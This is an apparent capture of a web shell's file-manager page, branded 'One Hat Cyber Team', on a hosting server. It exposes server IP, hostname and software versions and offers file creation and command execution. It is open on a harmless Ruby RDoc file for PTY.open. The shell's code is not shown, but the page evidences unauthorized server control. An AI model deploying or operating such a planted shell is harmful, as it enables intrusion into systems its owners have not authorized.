⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
ri
/
3.0.0
/
system
/
PTY
/
Edit File: open-c.ri
U:RDoc::AnyMethod[iI" open:ETI"PTY::open;TT:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"'Allocates a pty (pseudo-terminal).;To:RDoc::Markup::BlankLine o; ; [I"YIn the block form, yields an array of two elements (<tt>master_io, slave_file</tt>) ;TI"8and the value of the block is returned from +open+.;T@o; ; [I"OThe IO and File are both closed after the block completes if they haven't ;TI"been already closed.;T@o:RDoc::Markup::Verbatim; [ I"PTY.open {|master, slave| ;TI"4 p master #=> #<IO:masterpty:/dev/pts/1> ;TI"+ p slave #=> #<File:/dev/pts/1> ;TI"% p slave.path #=> "/dev/pts/1" ;TI"} ;T:@format0o; ; [I"IIn the non-block form, returns a two element array, <tt>[master_io, ;TI"slave_file]</tt>.;T@o;; [I"master, slave = PTY.open ;TI":# do something with master for IO, or the slave file ;T; 0o; ; [I"%The arguments in both forms are:;T@o:RDoc::Markup::List: @type: NOTE:@items[o:RDoc::Markup::ListItem:@label[I"+master_io+;T; [o; ; [I"%the master of the pty, as an IO.;To;;[I"+slave_file+;T; [o; ; [I"7the slave of the pty, as a File. The path to the ;TI"7terminal device is available via +slave_file.path+;T@o; ; [I"6IO#raw! is usable to disable newline conversions:;T@o;; [ I"require 'io/console' ;TI"PTY.open {|m, s| ;TI" s.raw! ;TI" ... ;TI"};T; 0: @fileI"ext/pty/pty.c;T:0@omit_headings_from_table_of_contents_below0I"bPTY.open => [master_io, slave_file] PTY.open {|(master_io, slave_file)| ... } => block value ;T0[ I"();T@DFI"PTY;TcRDoc::NormalModule00
Simpan